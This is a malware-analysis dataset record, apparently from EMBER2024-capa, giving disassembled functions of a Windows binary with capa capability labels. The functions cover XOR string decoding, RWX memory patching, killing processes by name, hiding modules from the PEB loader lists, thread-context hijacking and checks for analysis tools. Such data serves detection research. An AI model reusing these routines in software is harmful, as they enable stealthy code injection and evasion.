joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001aec0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [0x101a03c4]
mov esi, ecx
push eax
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call fcn.10031a08
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1001af5a
mov edx, 0x4c
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10050b24]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x1001af10
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1001b01b
cmp eax, 1
jne 0x1001afb3
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10050a8c]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x1001af70
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1001b01b
push 0x8bdb15c0
cmp eax, 2
jne 0x1001afed
lea ecx, [ebp - 0x58]
call fcn.100130b0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1001b01b
lea ecx, [ebp - 0x74]
call fcn.100130b0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.1001b180
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x1001b064
cmp dword [0x101a00b0], 0
je 0x1001b064
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x101a00b0]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1001b470
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0xc3
push ebx
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b4b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push 0x40
push ebx
push eax
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
mov esi, dword [ebp - 8]
push esi
call fcn.1002a970
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001b500
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
push esi
push eax
push 0x40
push dword [ebp + 8]
mov ebx, ecx
mov esi, edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, ebx
mov byte [ebx], 0xe9
sub esi, 5
mov dword [ebx + 1], esi
mov esi, dword [ebp + 8]
cmp esi, 5
jbe 0x1001b54a
push edi
lea ecx, [esi - 5]
mov eax, 0x90909090
mov edx, ecx
lea edi, [ebx + 5]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001b560
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x100571c4]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1001b601
nop dword [eax]
lea eax, [esp + 0x34]
push esi
push eax
call fcn.1003075e
add esp, 8
test eax, eax
jne 0x1001b5f1
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001b5ed
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x18], eax
je 0x1001b5ed
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1001b5b0
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x1001c2c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046798
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1001c0a0
lea ecx, [ebp - 0x7c]
call fcn.1001c150
push esi
lea ecx, [ebp - 0x7c]
call fcn.1001c1f0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1001c36a
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.10010c70
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x1001c3b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100467d6
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x10051180]
mov dword [ebp - 0x1c], eax
mov ax, word [0x10051184]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1001c514
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1001c500
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
je 0x1001c47f
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001c470
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x63c]
call fcn.1000efa0
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x1001c4a1
xor ecx, ecx
jmp 0x1001c4bf
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1001c4b0
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.1001f5f0
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001c532
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x1001c500
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.1000fc60
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1001c500
cmp word [esi], ax
jne 0x1001c420
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.1000cae0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x63c]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.1001f450
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x1001c578
inc eax
lea ecx, [ebp - 0x654]
push eax
push dword [ebp - 0x654]
call fcn.1000fc60
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call fcn.10031a62
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x1001c5be
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.1000fc60
mov al, 1
jmp 0x1001c516
Function at 0x1001c630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001c6c0
cmp edx, 0x20
jb 0x1001c6ab
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001c669
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10051870]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001c680
pop edi
cmp eax, edx
jge 0x1001c6c0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001c6b0
pop esi
pop ebx
pop ebp
ret

Function at 0x1001c6d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001c760
cmp edx, 0x20
jb 0x1001c74b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001c709
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10051870]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001c720
pop edi
cmp eax, edx
jge 0x1001c760
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001c750
pop esi
pop ebx
pop ebp
ret
Function at 0x1001c800
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, edx
mov edi, ecx
push 1
push esi
mov ecx, 0x1009d770
call fcn.1001c970
push eax
push 0
push 0x1019dc18
call fcn.100153a0
mov ecx, dword [0x1019de5c]
add esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test ecx, ecx
je 0x1001c85f
push 0
push 0
push 0x10
push ecx
call ebx
push dword [0x101a03c0]
mov dword [0x1019de5c], 0
push dword [0x1019de74]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1019df84]
test eax, eax
je 0x1001c88d
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x101a03c0]
mov dword [0x1019df84], 0
push dword [0x1019df9c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1019e0ac]
test eax, eax
je 0x1001c8bb
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x101a03c0]
mov dword [0x1019e0ac], 0
push dword [0x1019e0c4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
sub esi, 0
je 0x1001c8e8
sub esi, 1
je 0x1001c8dc
sub esi, 1
jne 0x1001c8d4
lea eax, [esi + 2]
mov ecx, 0x2b39c0
jmp 0x1001c8ef
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x10]
jmp 0x1001c8ef
mov eax, 1
mov ecx, 0x227ee6
jmp 0x1001c8ef
xor eax, eax
mov ecx, 0xf1f0ec
push ecx
push dword [ebp + 0xc]
mov ecx, edi
sub esp, 0xc
push eax
call fcn.1001aec0
sub esp, 8
push edi
push 0x1001c770
call fcn.1001dda0
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 4]
test eax, eax
je 0x1001c94f
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x101a03c0]
mov dword [edi + 4], 0
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]

Function at 0x1001c970
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x101a0688
mov esi, ecx
call fcn.1002aef0
lea eax, [esi + 0xff]
add esp, 0xc
xor ecx, ecx
cmp eax, 0x101a0688
jb 0x1001c9c5
cmp esi, 0x101a0787
ja 0x1001c9c5
sub esi, 0x101a0688
mov al, byte [esi + ecx + 0x101a0688]
sub al, 0x1b
xor al, 0xc
mov byte [ecx + 0x101a0688], al
inc ecx
cmp ecx, 0x100
jl 0x1001c9a4
mov eax, 0x101a0688
pop esi
ret
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeee]
mov ecx, 0x101a0688
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, 0x101a0698
sub ecx, esi
mov eax, 8
sub edx, esi
nop word [eax + eax]
lea esi, [esi + 0x20]
movups xmm0, xmmword [esi - 0x20]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx + esi - 0x20], xmm0
movups xmm0, xmmword [esi - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [edx + esi - 0x20], xmm0
sub eax, 1
jne 0x1001c9f0
mov eax, 0x101a0688
pop esi
ret
Function at 0x1001ca30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x1f8]
push 0x1f4
push 0
push eax
mov esi, edx
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp - 0x1fc]
push eax
push 0x20019
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1001cada
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push edi
push dword [ebp - 0x1fc]
call esi
test eax, eax
jne 0x1001cada
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push edi
push dword [ebp - 0x1fc]
call esi
test eax, eax
je 0x1001caa3
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x1001dd00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001dd3e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dd42
cmp edx, esi
jne 0x1001dd27
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001dd62
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dd66
cmp edx, esi
jne 0x1001dd4b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001dd86
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dd8a
cmp edx, esi
jne 0x1001dd6f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001dda0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, 0xd6
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov cl, byte [eax + 0x10051368]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x1001ddc3
push 0x3f6997ef
lea ecx, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.1001ffb0
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f4]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x240]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001dfb0
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x100571c4]
xor eax, esp
mov dword [esp + 0x88], eax
push esi
mov dword [esp + 0xc], 0
mov edx, 0xf
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x1001dfe0
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0x4c], 0
call esi
test eax, eax
jne 0x1001e0b2
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [esp + ecx + 0x10], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1001e020
lea eax, [esp + 0x10]
mov byte [esp + 0x1f], 0
push eax
call esi
test eax, eax
jne 0x1001e0b2
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [esp + ecx + 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1001e050
lea eax, [esp + 0x20]
mov byte [esp + 0x2f], 0
push eax
call esi
test eax, eax
jne 0x1001e0b2
mov eax, 0x100513c8
lea ecx, [esp + 0x6c]
sub eax, 0x32593faf
push eax
call fcn.10020030
push eax
call esi
test eax, eax
jne 0x1001e0b2
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [esp + 0x7c]
sub eax, 0x43f2140e
push eax
call fcn.10020070
push eax
call esi
test eax, eax
jne 0x1001e0b2
xor al, al
jmp 0x1001e0b4
mov al, 1
test al, al
jne 0x1001e1b1
mov edx, 6
xor ecx, ecx
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x1001e0c3
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
lea eax, [esp + 0x3c]
mov byte [esp + 0x77], 0
push eax
push connect
call esi
test eax, eax
jne 0x1001e139
push 4
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 4
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x75526f4e
push eax
push dword [esp + 0x18]
mov word [esp + 0x2c], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x10051420]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x1001e140
lea eax, [esp + 0xc]
mov byte [esp + 0x5a], 0
push eax
push 0xf003f
push 0
lea eax, [esp + 0x3c]
push eax
push connect
call esi
test eax, eax
jne 0x1001e1b1
mov dword [esp + 8], eax
lea ecx, [esp + 0x10]
push 4
lea eax, [esp + 0xc]
push eax
push 4
mov eax, 0x10051414
push 0
sub eax, 0x38d41ae2
push eax
call fcn.100200b0
push eax
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x8c]
pop esi
xor ecx, esp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x10020030
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10020041
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10020070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10020081
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4